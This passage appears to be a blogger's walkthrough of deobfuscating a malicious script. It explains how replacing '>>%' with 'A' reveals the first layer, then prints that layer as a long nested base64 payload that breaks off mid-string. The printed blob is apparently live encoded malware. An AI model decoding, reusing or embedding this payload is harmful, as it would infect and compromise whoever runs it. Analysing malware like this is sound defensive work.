Seeing this, I was stumped. It wasn’t until I talked to one of my colleagues about this and he stated that the string of “>>%” was to be replaced globally (ie: hailMYjes(Array(“>>%”, “g”)). Looking into the code some more, I also think (and I am postulating here) that this is served via the function “bloodO(pstAR)” and the particular line of “pstAR.O.text = bgftrewas()[0].replace(pstAR.I, “A”);.” I think that the “I” is a reference to the regular expression statement in the function called “hailMYjes” where it is being sent two different arguments. I could be wrong about this one and if anyone knows, please update this so we can all learn from it. 😎
So now knowing this bit of information, I went back and replaced all the instances of “>>%” with ‘A’. Low and behold I got something that looked a lot cleaner as seen below.
1st layer obfuscated --> deobfuscated (">>%" first removed and replaced with 'A') ================================================================================== dHJ5ew0KdmFyIGxvbmdUZXh0MSA9ICJablZ1WTNScGIyNGdZbWRtZEhKbGQyRnpLQ2w3Q2dseVpYUjFjbTRnV3lKTWVUZzRWM2xDZVZwWFRuWmFSMVo1U1VSdloyRXlPVzVpYld3d1luaytQaVZ2V1hscloyTXlkRFZqUjFWblQybENjMkZZV214UGJsWjFZVEkxZG1ReU5IVmpNa1p6V2xoTk1rNURRbVJRWjI5TFRIazRPVXhVTUhSUVV6QTVURlF3WjFreU9YVmFiV3h1U1VRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbE1WREIwVUZNd09VTm5jREpaV0VsbllVYzVlbVJEUGo0bE9VbERTbmRpU0ZadVlWYzFlbU51V1hWYVNGWnFZVEpTZFdONU5YWmpiV05wVDNkd01sbFlTV2RqUnpsNVpFTStQaVU1U1VSak0wNVVXVGREYmxwb1kybENjR0p1VGpCWlYzaHpXa2RzZVVsRU1HZEphVlpvWTBoQ2ExbFlVbWhLVTBrM1EyNWFhR05wUW5sa1Z6VkNZekJHYTJKWGJIVkpSREJuV20xR2MyTXlWVGREYmxwb1kybENjMkp0ZEcxaFYzaHNTVVF3WjJSSVNqRmFWSE5MWkcxR2VVbEhlSFZoTWxwMllrZFNiR05wUGo0bE9VbElVbmxrVjFVM1EyZHdjRnBwYUhsa1Z6VkNZekJHYTJKWGJIVkpSREE1U1VoU2VXUlhWWEJsZDI5S1l6TlNhR051VWpGalJWWnpXbGhhYUdSSFZXOUxWSE5MWmxGd2NGcHBhRmhWTWs1NVlWaENNRXhyUm5sYU0xWjBXbGMxTUdONU5VOVpWekZzV2tNMVJtVkhiSHBrU0UxdlNXMVdjMXBZV21oa1IxWnJTV2xyWjFCVU1HZGtTRW94V2xOc04wTm5iR3RoV0U1b1dXMTRiRlV5Vm1wa1dFcHdaRWhyYjB0VWMwdG1VVzkyVEhvd2RGQlRNRGxNVkRCMFVGTkNkMlJYU25OaFYwMW5aRzFHZVVsRU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3UzBOdVdtaGphVUo2WVVkV2MySkhPV2xoYVQ0K0pUbEpSbVJVV1ROS2NHTklVWFZaTTBwc1dWaFNiRlF5U25GYVYwNHdTME5LTTJNeVRubGhXRUl3VEc1T2IxcFhlSE5KYVdzM1EyNWFhR05wUW0xaFYzaHNZek5zZW1SSFZuUmlNa3B4U1VRd1oxWXhUbXBqYld4M1pFTTFhbU50Vm1oa1IxWlFXVzF3YkZrelVXOUpiazVxWTIxc2QyUkhiSFZhZVRWdFlWZDRiR016Ykhwa1IxWjBZakpLY1ZwWFRqQkphV3MzUTI1YWFHTnBRbTlrU0ZKM1lqSktjVWxFTUdkV01VNXFZMjFzZDJSRE5XcGpiVlpvWkVkV1VGbHRjR3haTTFGdlNXMHhlbVZITVhOTmFUVTBZbGQ0YjJSSVVuZEphV3MzUTJkdlMweDVPRGxNVkRCMFVGTXdPVXhVTUdkalNFcHdaRzFHTUVsSVdtaGphVDQrSlRsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGRnZTMlJ0Um5sSlIyeDFZek5TYUdKSGVIVlpWekZzU1VRd1oxWXhUbXBqYld4M1pFTTFlbGt6U25CalNGSlBXVmN4YkU5M2NESlpXRWxuWXpOU2FHTnVVakZqUXo0K0pUbEpTRTV2V2xkNGMySXlTbkZNYms1M1dsZE9jRmxYZUVkaU1uaHJXbGhLZWt0RFNucGtSMFo1WkVoV2QwbHBhMmRMZVQ0K0pXbFlSbmRwVDNkd2NHSnVUakJaVjNoeldrZHNlVWxFTUdkak1taHNZa2Q0ZGxsdGIzVlNXR2gzV1ZjMWExSlhOVEpoV0VwMlltMHhiR0p1VWxSa1NFcHdZbTFrZWt0SGJIVmpNMUpvWWtkNGEyRllTWEJKUTNOblNXeDRZMGxxYzB0aFYxbHZTVmRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhYlRseldrZFdlVkpZYUhCak0xSjZTMGRzZFdNelVtaGlSM2hyWVZoSmNFdFljMmRKUjJ4MVl6TlNhR0pIZUd0aFdFbG5VRk5DZW1GSFZuTmlSemxwWVdrMVJtVklRbWhpYlZKR1ltNWFjR050T1hWaVYxWjFaRVpPTUdOdGJIVmFNMDF2U1dsV01GcFhNWGRLVTBsd1NVTnpaMGxzZUdOSmFuUTVRMjVhYUdOcFFucGpSM2h3WkVkV2VVbEVNR2RKYm5kcFQzZHdNbGxZU1dkak1sSnlZMGRHTUdGRFBqNGxPVWxIYkhWak0xSm9Za2Q0YTJGWVNXZExlVDQrSldsa00wNXZZekpTY2tscWMwdGtiVVo1U1VoT2EyRXlXbkJpUjFWblVGTkNlbHBIZEhkWldGSnZTVU56WjBsc2VHTkphVDQrSlhKSlIwNXZZMmxuZUUxVVNYQkpRM05uV1RKb2VVdEVSWGxOVTJ0blMzbENhbUZJU1c5TlZFVXlTMU0rUGlWeVNVZE9iMk5wWjNoTlJGRndTVU56WjFreWFIbExSRVY0VFZOclowdDVRbXBoU0VsdlRWUkZkMHRUUGo0bGNrbEhUbTlqYVdjd1RtbHJaMHQ1UW1waFNFbHZUVlErUGlWNFMxTStQaVZ5U1VkT2IyTnBaM2hOYWo0K0pYQkpRM05uV1RKb2VVdEVSWGROVTJzM1EyNWFhR05wUW5waVIxWnNZME0rUGlVNVNVUlZkMDFFUGo0bE4waytQaVZ3TWxsWVNXZGpiVlo2WTBjNWRXTXlWWE5KUjA1MFdrTjNaMk5IUm5sWlZ6QnpTVWM1ZFZwWE9YVlpNbFUzUTJkd01sbFlTV2RoVnpWdFNVUXdaMGxwU1RkRGJscG9ZMmxDTVdNeVNucGpTRXBzV1ZkU2NHSnRZMmRRVXo0K0pXbEphbk5MWkcxR2VVbElUakJaV0Vvd1drZEdNRnBUUGo0bE9VbERTV2xQZDI5TFRIazRPVXhVTUhSUVV6QTVURlF3WjFreU9XdGFVMEo2WkVkR2VXUkRQajRsT1V4VU1IUlFVekE1VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVVXOUxZVmMxZW1SSFJuVlpNbFZ2UzFSelMwTnVaRzloVjNoc1MwaFNlV1JYVlhCbGQyOUtaRWhLTldWM2IwcERWMngxWXpOU2FHSkhkMjlMVkhOTFEyZHJTbU50Vm5walJ6bDFZekpWWjFCVFBqNGxhVWxxYzB0SlF6NCtKV2RKUXo0K0pXZEpRMEo1V2xoT2QySXlOWHBhVXo0K0pUbEpTRUoyWXpOUlowdERTbkJqZVRGNVdsZEdhMlZUU1hOSmFVbHdUM2R2U2tOWFRuUmFRejQrSlRsSlNFcHNZek5DZG1KdVRteE1iazUzWWtkc01FdElUbmRpUjJ3d1dsaEpjRTkzYjBwRFdFNHpZVmhTYW1GRGFHcGlWMUppVFVZd2NHVjNiMmRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUTBKcVdWaE9iRWxEU210aFdFNXFZakkxZFZwWFRqQkphbTlMUTFGclNrTlRQajRsWjFZeFRtcGpiV3gzWkVNMWVHUlhiREJMUTJzM1EyZHJTa05SYTJkSlIwcDVXbGRHY2s5M2IwcERVV3hxV1ZoT2JFbERTbmxhVjBwMllqTlJhVTluYjBwRFVXdEtTVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhORzlKYVZacVlqSXhlbU5IVm1wS1V6NCtKWFpaZVVKNllVaFdNRnBIT1ROaWFUNCtKWFpqYVQ0K0pYWmtRejQrSlhkSlF6bHRTV2wzWjAxRGQyZGtTRW94V2xOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHA2WVVoV01GcEhPVE5pYVVrMlEyZHJTa05SYTJkSlNFNXZXbGQ0YzJJeVNuRk1ia294WW1sbmFVcFhUblppV0U1M1dsZE5iRWxET1dwSlNFNXZaRmhTYTJJelpIVkpRemw2U1VNNU1FbEVQajRsWjB3eVdXbE1RejQrSlhkTVEwSXdZMjVXYkV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERhVDQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlIwNW9ZekpWWjBsdFZqUlpNbFpxWkZoU2JFbHFiMHRKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RKUXo0K0pXZEpRejQrSldkSlF6NCtKV2RqUjBaNVdWY3daMUJUUW1waVYxSmlUVll3TjBObmEwcERVV3RuU1VkV01sbFhkMjlqUjBaNVdWY3djRTkzYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXbGhWelY2WkVkR2MySkRNWHBhUjNOcFQyZHZTa05SYTBwSlEwSndZbTVPTUZsWGVITmpNbEp5UzBOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHB1V2xoUmRHTkhSbnBqZVVrMlEyZHJTa05SYTJkSlNFSm9Zek5PYm1OdFJtbFpiVlo1UzBkT2RGcEdjM2hZVTNkblNXMU9kRnBIVFhWYVdHaHNTV2wzWjFreU1XdFhla3BrUzFSelMwTlJhMHBEVXo0K0pXZFpia3BzV1Zkek4wTm5hMHBEVjA1b1l6SlZaMGx0Wkd4a1F6RjNXVmhPZWt4WE9XMWFiWGh3WW0xVmFVOW5iMHBEVVd0S1NVTkNkMWxZVG5wYU0wcG9XVzFLYkdOcGFHcGlWMUppVFRFd2MwbERTbXBpVjFKcVRHMVdORnBUU1hOSlEwcHdXbE5KY0U5M2IwcERVV3RLU1VOQ2QxbFlUbnBhTTBwb1dXMUtiR05wWjJsaWJsWnpZa05KYzBsRFNtcGlWMUpxVEcxV05GcFRTWE5KUTBwcVlVaEtkbUpYVldsTFZITkxRMUZyU2tOVFBqNGxaMk5IUm5wak1tUjVXVmRLYVZwWVNXOUpiVFV4WWtkM2FVeERQajRsYVZreU1XdFplVFZzWlVkVmFVeERQajRsYVdKWE9UWmhWM2h6V1ZOSmNFOTNiMHBEVVd0S1NVTkNkMWxZVG5wYU0wcG9XVzFLYkdOcVNXOVpNakZyVjNwR1pFeERQajRsYVZreU1XdFplVFZzWlVkVmFVeERRbXBpVjFKaVRXd3djRTkzYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXbGtXRUpyV1ZoU2JFbHFiMHREVVd0S1ExTStQaVZuWTBkR2VWbFhNR2RRVTBKNVdsaE9kMkl5TlhwYVV6VjZaRmRLZW1SSVNXOWpiVlo2WTBjNWRXTXlWWFZoVnpWcldsaG9VRnBwWjJsbVEwbHdTVU56WjAxVGF6ZERaMnRLUTFGclowbEhPWFZhVnpsMVdUSlZkVmt5ZUhaak1sVnZTMVJ6UzBOUmEwcERVejQrSldkaU1qVnNZakkxYWxwVFBqNGxPVWxIV25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxWWpOQ2JHSnNVbXhsU0ZKSFlWZDRiRXRIYkhWak0xSm9Za2Q0YTJGWVNXZExlVUp3WW01T01GbFhlSE5pYlVaMFdsTStQaVZ6VFdsM1oxcHRSbk5qTWxWd1QzZHZTa05SYTBwSlEwSjJZbTFXZG1KdFRteE1ibVI1WVZoU2JFdElRbWhqYlVaMFMxUnpTME5SYTBwRFV6NCtKV2RpTWpWc1lqSTFhbHBUTldwaVJ6bDZXbE5uY0U5M2IwcERVV3RLU1VOQ2VtRkhWbk5pUnpscFlXazFlV1JYTkc5SmJtUjZXVE5LY0dOSVVYVmFXR2hzU1VNNGRsRnBRbU5KYVVsblMzbENjR0p1VGpCWlYzaHpXa2RzZVVsRGMyZGhWelY2WkVkR2MySkhOV2hpVjFWblMzaytQaVZwV0VOSmFVdFVjMHREVVd0S1ExTStQaVZuVmpGT2FtTnRiSGRrUXpWNFpGZHNNRXREYXpkRFoydEtRMWRPYUdNeVZXZEpibFoxWVZjMWVtUkhSbk5pUTBrMlEyZHJTa05SYTJkSlNGWjFZVmMxZW1SSFJuTmlRMmR3VDNkdlNrTlJhMHBKUTBKcFkyMVdhR0Y2YzB0RFVXdEtXVEpHZWxwVFBqNGxhV1JZUGo0bGRHSnBNV3hsUjFacVNXcHZTME5SYTBwRFV6NCtKV2RhUnprelltMTRkbGxYVVc5Wk1qRnJWM3BHWkV4SFRuUmFSbk41V0ZOck4wTm5hMHBEVVd0blNVZEtlVnBYUm5KUGQyOUtRMUZzYWxsWVRteEpRMHBwWTIxc2RWcDVNWE5pTW1OcFQyZHZTa05SYTBwSlEwSXhZMGQ0ZGxsWFVXOWhWelY2WkVkR2MySkhVbkJqYVQ0K0pYSkpRMG96WXpKb2MySXlaSHBZUm5kcFNVTnpaMWt5TVd0WGVrWmtURU0rUGlWcFpFZEdjbHBUTVhOaU1tTnBTMVJ6UzBOUmEwcERVejQrSldkWmJrcHNXVmR6TjBObmEwcERWMDVvWXpKVlowbHRVblprTWpSMFlta3hiR1ZIVm1wSmFtOUxRMUZyU2tOVFBqNGxaMk15YkRCYVYxSjJaREkxYzJJeVJtdGFXRWx2V1RJeGExZDZSbVJNUjA1MFdrWnplVmhUYXpkRFoydEtRMUZyWjBsSFNubGFWMFp5VDNkdlNrTlJiR3BaV0U1c1NVTStQaVZwV20xc2MxcFhNV2hpYlVadVdsaEphVTluYjBwRFVXdEtTVU5DZWxwWVNqSmhWMDVzWXpOU2FHTnVVbXhqYVdocVlsZFNZazFXTUhOSlEwcHRZbE14ZDJKSVZtNWhWelIxV2xob2JFbHBkMmRoVnpWdFlqTktkRmxZVW5CaU1qUnZTMU5yTjBObmEwcERVV3RuU1VkS2VWcFhSbkpQZDI5S1ExRnNhbGxZVG14SlF6NCtKV2xqYlZKM1NXcHZTME5SYTBwRFV6NCtKV2RqTWxaNVpHMXNhbHBZVGpCWldFb3dXbGhKYjFreU1XdFhla1prVEVNK1BpVnBZMjFSZEdOSGVERmFNbXgxVEcxV05GcFRTWE5KUjJ4MVdtMDVlV0pYUmpCaFZ6bDFTME5yY0U5M2IwcERVV3RLU1VOQ2FXTnRWbWhoZW5OTFExRnJTbGt5Um5wYVV6NCtKV2RKYlhSc1pWZDRkbG95Wkd4amFVazJRMmRyU2tOUmEyZEpSM1JzWlZkNGRsb3laR3hqYms0d1dWaEtNRnBZU1c5Wk1qRnJWM3BHWkV4RFBqNGxhV0V5ZDNSalIzZ3hXakpzZFV4dFZqUmFVMGx6U1Vkc2RWcHRPWGxpVjBZd1lWYzVkVXREYTNOSlJENCtKWEJQZDI5S1ExRnJTa2xEUW1samJWWm9ZWHB6UzBOUmEwcFpNa1o2V2xNK1BpVm5TVzA1YlZwdGVIQmliVlYwWVRKV05XSkhPVzVhTWxaNVNXcHZTME5SYTBwRFV6NCtKV2RoTWxZMVlrYzVibG95Vm5sak0xSm9ZMjVTYkdOcGFHcGlWMUppVFZZd2MwbERTbkppUXpGM1lraFdibUZYTkhWYVdHaHNTV2wzWjJGWE5XMWlNMHAwV1ZoU2NHSXlORzlMVTNkblRWTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbFpia3AyWkROT2JFeFhlSFphTTAxcFQyZHZTa05SYTBwSlEwSjNZak5PTUV0RFNuQmplVEZ6WWpKa2VrbHBkMmRhVnpVeFlsZGFhRnBwYUhCaWJrNHdXVmQ0YzFwSGJIbEpRM05uU1c1a2VtRkhlSFphTTAxcFMxTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbFpNakZyVEZoT2IxcFhlSE5KYW05TFExRnJTa05UUGo0bFoyTkhSbmxaVnpCblVGTkNhbUpYVW1KTlZqQTNRMmRyU2tOUmEyZEpTRUoyWXpOUmIwbHRiSHBNVjA1MFdrTXhlbUZIVm5OaVEwbHpXVEl4YTJNeWFHeGlSM2R2WTBkR2VWbFhNSEJMVkhOTFExRnJTa05UUGo0bFoxbHVTbXhaVjNNM1EyZHJTa05YVG1oak1sVm5TVU5LYmxwWVVYUmpTRXAyV1RKV2VtTXlWbnBKYW05TFExRnJTa05UUGo0bFoyTkhPWHBrUTJkcFlWaE5kR05JU25aWk1sWjZZekpXZWtscGQyZGFWelV4WWxoQ2VXSXlUbXhqTTAxdlMxTnJOME5uYTBwRFVXdG5TVWRLZVZwWFJuSlBkMjlLUTFGc2FsbFlUbXhKUXo0K0pXbGFSMng2V1ZkS2MxcFRNVEZaVjAxcFQyZHZTa05SYTBwSlEwSnJZVmhPYUZsdGVHeFZNbFpxWkZoS2NHUklhMjlMVkhOTFExRnJTa05UUGo0bFoyUllRbXRaV0ZKc1l6TlNhR1JJVm5wTFEwcFdVVlZOY2xKSGJIcFpWMHB6V2xkUmNrdEdTbXhaYlRsMlpFTjBVMXBZUmpGaFdFcHNXa05yYVV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwcVlVZFdhbUY1TVd4aVIyeHVZVmRLYzFwVFNUWkRaMnRLUTFGclowbEhiRzFMUjFwd1lrZFdlbVZZVGpCYVZ6RjJXVzF2ZFZwdGJITmFWVlkwWVZoT01HTjVhR3BpVjFKaVRWWXdjRXRZYzB0RFVXdEtRMUZzTVdOSFVtaGtSMVo2WkVkR01HUllUVzlKYTJ4NlN6QldjMkZYWkhCWmJYaHNTV2xyTjBObmEwcERVV3RuU1VneGJHSklUbXhsZDI5S1ExRnJTa05ZVm5kYVIwWXdXbGhPTUZsWVVqRmplV2RwVkcwNU1Fc3dWbk5oVjJSd1dXMTRiRWxwYXpkRFoydEtRMUZyWjBsSU1FdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwdFlqTkthbHBUTVd4aVIyeHVZVmRLYzFwVFNUWkRaMnRLUTFGclowbEhiRzFMUm1SVVdUTktjR05JVVhWUldFcHVaRmN4YkdKdVVucE1helZvWWxkV2EweHJWalJoV0U0d1kzbG5hVnBYZUd4a2JVWXdXbGRSYVV0VFBqNGxPVkJUUWpCamJsWnNTMWh6UzBOUmEwcERVV3h3V21sb2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJWcDJZa2RTYkdOclZqUmhXRTR3WTNsb2FtSlhVbUpOVmpCd1MxaHpTME5SYTBwRFVXdEtZekpvYkdKSGVIWlpiVzkxWTI1V2RVdERTV3haTWpsMFl6TkNiRmw1VldkTU1rMW5TV2srUGlWeVNVZE9kRnBHYzNsWVUzZG5UVU4zWjJSSVNqRmFVMnMzUTJkclNrTlJhMHBEV0ZaM1drZEdNRnBZVGpCWldGSXhZM2xuYVZVeFZrUlJNRlpVVlhsSmNFOTNiMHBEVVd0S1ExZ3hiR0pJVG14bGQyOUtRMUZyU2tOUmJERmpSMUpvWkVkV2VtUkhSakJrV0UxdlNXdE9kbUpZUW5aaWJWWjFaRU4wVG1GWVRucGhWelZ1U1dsck4wTm5hMHBEVVd0S1psRnZTa05SYTBwSlEwSTVRMmRyU2tOUmEyZEpSMVp6WXpKV04wTm5hMHBEVVd0S1pGaENhMWxZVW14ak0xSm9aRWhXZWt0RFNrWmlSMVl5V1ZoU2NHSXlOSEpWYlZaNFpGZHNlVnBYVVdsTFZITkxRMUZyU2tOVFBqNGxaMlpSYjBwRFVXdEtTVU5DYVdOdFZtaGhlbk5MUTFGclNsa3lSbnBhVXo0K0pXZEpiVlp6V2xoYWFHUkhWV2xQWjI5S1ExRnJTa2xEUW5CYWFXaFlWVEpPZVdGWVFqQk1hMFo1V2pOV2RGcFhOVEJqZVRWUFdWY3hiRnBETlVabFIyeDZaRWhOYjBsdFZuTmFXRnBvWkVkV2EwbHBhMmRRVkRCbldtMUdjMk15VlhCbGQyOUtRMUZyU2tOWVVubGxXSE5MUTFGclNrTlJhMmRKUnpsMVdsYzVkVmt5VlhWWk1uaDJZekpWYjB0VWMwdERVV3RLUTFGclowbEhPWFZhVnpsMVdUSlZaMUJUUW5Wa1YzaHpUM2R2U2tOUmEwcERVejQrSldkV01VNXFZMjFzZDJSRE5VUmpiVlpvWkVkV1VGbHRjR3haTTFGdlNXeE9iMXBYZUhOTWEwWjNZMGQ0Y0ZreVJqQmhWemwxU1dscmRWVXlhR3hpUjNoR1pVZFdhbVJZVW14TFEwb3pZekpPZVdGWVFqQk1iVlkwV2xOSmMwbERTV2RNZVRsRFNVWjNhVWxwUGo0bGNrbEdaRlJaTTBwd1kwaFJkVlV5VG5saFdFSXdVbTVXYzJKRk5XaGlWMVZuUzNrK1BpVnBXRU5KWjB3eVZuTmFXRnBvWkVkV2EwbHBkMmRKYVVselNVTktlV1JYTldoamVVbHpTVVJGY0U5M2IwcERVV3RLUTFNK1BpVm5aRmhDYTFsWVVteGpNMUpvWkVoV2VrdERTa1JpUjJ4c1ltNVJjbEpYZUd4a2JVWXdXbGRSYVV0VWMwdERVV3RLUTFGc09Wa3lSakJaTW1kdlltMDBjR1YzYjBwRFVXdEtRMWd3UzBOUmEwcERVV3hZVlRKT2VXRllRakJNYmtZeFlWaFJiMHRVYzB0RFVXdEtRMU0rUGlWblpsRnZTa05SYTBwSlEwSnNZa2hPYkdWM2IwcERVV3RLU1VNK1BpVktTVU5DTVdOSFVtaGtSMVo2WkVkR01HUllUVzlKYTA1ellWZFdkV1JEZEVaaVIxWXlXVmhTYkZwRFNYQlBkMjlLUTFGclNrbERRamxEWjJ0S1ExRnJaMGxIU25sYVYwWnlUM2R2U2tOUmJHcFpXRTVzU1VNK1BpVnBZVmRaZEZwWGVHeGtiVVl3V2xOSk5rTm5hMHBEVVd0blNVZHNiVXRHWkZSWk0wcHdZMGhSZFZGWVNtNWtWekZzWW01U2VreHJOV2hpVjFaclRHdFdOR0ZZVGpCamVXZHBXbGQ0YkdSdFJqQmFWMUZwUzFNK1BpVTVVRk5DYlZsWGVIcGFVMnczUTJkclNrTlJhMHBKUTBJeFkwZFNhR1JIVm5wa1IwWXdaRmhOYjBsclRuTmhWMVoxWkVOMFQySXpVWEpTVjNoc1pHMUdNRnBYVVdsTFZITkxRMUZyU2tOVFBqNGxaMlpSYjBwRFVXdEtTVU5DYkdKSVRteGxkMjlLUTFGclNrbERQajRsU2tsRFFqRmpSMUpvWkVkV2VtUkhSakJrV0UxdlNXdE9jMkZYVm5Wa1EzUkdZa2RXTWxsWVVteGFRMGx3VDNkdlNrTlJhMHBKUTBJNVEyZHJTa05SYTJkSlIwcDVXbGRHY2s5M2IwcERVV3hxV1ZoT2JFbERQajRsYVdFeWJITmlRekYzWTIwNWFscFlUbnBKYW05TFExRnJTa05UUGo0bFoxcFlhSEJrU0VKNVlqSk9iR016VFc5Wk1qRnJWM3BHWkV0VWMwdERVV3RLUTFNK1BpVm5XVzVLYkZsWGN6ZERaMnRLUTFkT2FHTXlWV2RKUTBwNllrZFdiR05EU1RaRFoydEtRMUZyWjBsSVFtaGpiVVowU1VRd1oxa3lNV3RYZWtaa1QzZHZTa05SYTBwSlEwSjZZa2RXYkdORFBqNGxPVWxIVmpKWlYzZHZZMGRHZVZsWE1IQlBkMjluU1VNK1BpVm5TVU0rUGlWblNVTStQaVZuU1VNK1BpVm5TVU0rUGlWblNVTkNhV050Vm1oaGVuTkxRMUZzT1VObmEwcERaMnc1V1RKR01Ga3laMjlhV0Vsd1pUTXdTME5XWkZSWk0wcHdZMGhSZFdNeWVHeGFXRDQrSlc5ak1uaHNXbGcrUGlWd1QzZHdPVU5uY0cxa1Z6VnFaRWRzZG1KcFFuQmliazR3V1ZkNGMyTXlVbkpMUTJ3M1EyZHNNR051YkRkRFoydEtaRzFHZVVsSVRtdGhNMVo1WWtNK1BpVTVTVWhDZG1NelVXOUpiVEYyWldreGVscEhjMmxNUXo0K0pXbEphV3MzUTJkclNtUnRSbmxKUnpscFlXMW9NR1JJUW10aU0yUjFZa2M1YUZwRFBqNGxPVWxHWkZSWk0wcHdZMGhSZFZFelNteFpXRkpzVkRKS2NWcFhUakJMUTBwMFl6Tm9kR0pFU1hWbFJ6RnpZVWhTTUdORFNYQlBkMjlLUTFjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjJZMGRXZFV0RFNtNWFXRkZwVEVOQ2VscEhkREZqYlhkelNVZGFhR0pJVG14TFZITkxRMUZzZGxsdGNHOWtTRkozV2tjNU0ySnRlSFpaVjFGMVl6SldNRlZ0Vm5oa1YxWjZaRVZvYkZsWFVteGphV2RwV1RKR2FtRkhWWFJaTWpsMVpFaEtkbUpFYjJsTVF6NCtKV2xpVjBZMFRGZEdibHBVTUhkSmFXczNRMmRyU21JeVNuRmhTRkl3WTBkU2RtUXlOWE5pTWtaclRHNU9iR0p0VVc5TFZITkxRMmRyU21GWFdXOWFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFiV0ZYZUd4U1dHaHdZek5TZWt0SGJIVmpNMUpvWWtkNGEyRllTV2RMZVQ0K0pXbGtNMDV2WXpKU2NreHVjSEJqUTBsd1MxaHpTME5SYTBwYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWExcFhlR3hrUjFaSFlWZDRiRXRIYkhWak0xSm9Za2Q0YTJGWVNXZExlVDQrSldsa00wNXZZekpTY2t4dWNIQmpRMGx3VDNkdlNrTllNRXREVVd0blEyZHJTbUZYV1dkTFJ6bHBZVzFvTUdSSVFtdGlNMlIxWWtjNWFGcEROWHBrUjBZd1pGaE5aMUJVTUdkTmFqNCtKWGRMV0hOTFExRnJaMGxJVW5sbFdITkxRMUZyWjBsRFFqSlpXRWxuU1VjNWFXRnVUakJqYlZab1lsZFNkbVF5TlhOaU1rWnJTVVF3WjFZeFRtcGpiV3gzWkVNMVJHTnRWbWhrUjFaUVdXMXdiRmt6VVc5SmJVWnJZakpTYVV4dVRqQmpiVlpvWWxOSmNFOTNiMHBEVXo0K0pXZEpSemxwWVc1T01HTnRWbWhpVjFKMlpESTFjMkl5Um10TWJGSTFZMGRWWjFCVFBqNGxlRTk1UGo0bFMwTlJhMmRKUTBKMldXMXdlbVJJU214WlZ6RnJZak5rZFdKSE9XaGFRelZRWTBkV2RVdERhemREWjJ0S1NVTStQaVZuWWpKS2NXTXpVbmxhVjBaMFdrYzVNMkp0ZUhaWlYxRjFWak5LY0dSSFZXOWlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMHh1U214ak0wSjJZbTVPYkZGdE9XdGxVMnMzUTJkclNrbERQajRsWjJJeVNuRmpNMUo1V2xkR2RGcEhPVE5pYlhoMldWZFJkVlV5UmpKYVZsSjJVbTFzYzFwVGFIQmliazR3V1ZkNGMxcEhiSGxKUTNOblNXNWtlbUZJVG10aGVUVTJZVmcrUGlWcFMxUnpTME5SYTJkSlEwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUXpWcVlrYzVlbHBUWjNCUGQyOUtRMU0rUGlWblNVYzVhV0Z1VGpCamJWWm9ZbGRTZG1ReU5YTmlNa1pyU1VRd1oySnVWbk5pUkhOTFExRnJaMGxJTVdwWldGSnFZVU5vYkdWcGJEZERaMnRLUTFGdlNrTlRQajRsWjJaUmIwcERXREJMUTFGc2NGcHBhRzFoVjNoc1l6TnNlbVJIVm5SaU1rcHhURzFhY0dKSFZrWmxSMng2WkVoTmIyRlhOWHBrUjBaellrZFNjR05wUGo0bGNrbERTak5qTW1oNldrZHpkV1Z0YkhkSmFXdHdaWGR2U2tOUmEzWk1NMVoxWlcxc2QwbElVbTlhVTBKdFlWZDRiRWsrUGlWdlNrTlJiRlppYkhCd1kwTm9jR0p1VGpCWlYzaHpXa2RzZVVsRGMyZEpibVI2WVVoT2EyRjVOVFpoV0Q0K0pXbE1RMEo2V2tkMGQxbFlVbTlMVkhOTFExRnJTbVJZUW10WldGSnNZek5TYUdSSVZucExRMHBVVWtWemNsTlhOWHBrUjBaellrZFdhMGxwYXpkRFoydEtabEZ2U21aWFRtaGtSMDV2UzBkV2VXTnBiRGRtVVhBNVEyZHdiV1JYTldwa1IyeDJZbWxDY0dKdVRqQlpWM2h6UzBOc04wTnVXbWhqYVVKelltMTBkbGx0YnpkRGJscG9ZMmxDYldGWGVHeGliVVowV2xSelMyUnRSbmxKUjFwMllrZFNiR050TldoaVYxVTNRMjVhYUdOcFFtMWhWM2hzWVZkT2RtSnFjMHRrYlVaNVNVZGFkbUpIVW14amJXeHFZakkwTjBObmNERmpTRTR3V1ZoS01FdERhemREWjNCdFlqTkpiMlJ0Um5sSlIxSjVZVk0rUGlVNVNVYzFiR1I1UWtaaWJsWjBXbGhLYUdSSE9YbExSMXB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBJU25Ca2JWWjZTMVJ6WjBsWFVubGhVelZvWkVWV2RWcERaM0JQZVVKclkyMXJkV0pYT1RKYVZUVnNaVWhSYjB0VGJEZERibHBvWTJsQ2EyTnRiREphVXo0K0pUbEpSMUo1WVZNMWNHUkhWblJMUTJzM1EyMXNiVWxEYUd0amJXd3lXbE0xY0dNelNteFpWMUkxU1VRd09VbElVbmxrVjFWd1pYZHdjRnBwUGo0bGIxcE